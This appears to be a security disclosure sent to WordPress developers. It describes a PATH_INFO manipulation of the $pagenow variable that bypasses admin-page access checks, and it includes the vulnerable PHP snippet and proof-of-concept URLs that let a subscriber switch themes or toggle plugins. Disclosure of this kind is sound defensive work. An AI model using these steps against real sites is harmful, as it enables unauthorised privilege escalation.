You control the access to administration pages on menu.php based on the value of $pagenow, however this variable can be manipulated via PATH_INFO.
if ( preg_match('#([^/]+\.php)$#', $PHP_SELF, $self_matches) ) {
$pagenow = $self_matches[1];
} elseif ( strpos($PHP_SELF, '?') !== false ) {
$pagenow = explode('/', $PHP_SELF);
$pagenow = trim($pagenow[(sizeof($pagenow)-1)]);
$pagenow = explode('?', $pagenow);
$pagenow = $pagenow[0];
} else {
$pagenow = 'index.php';
}
Proof of Concept:
- Log in to WP (a subscriber user is okay)
- Access to http://vulnerable/wp/wp-admin/themes.php/index.php
- Switch the current theme (you need to replace /wp-admin/themes.php/themes.php?action=... by /wp-admin/themes.php/index.php?action=...)
As you can see, this bug lets unprivileged users to switch current theme, de/activate plugins, etc.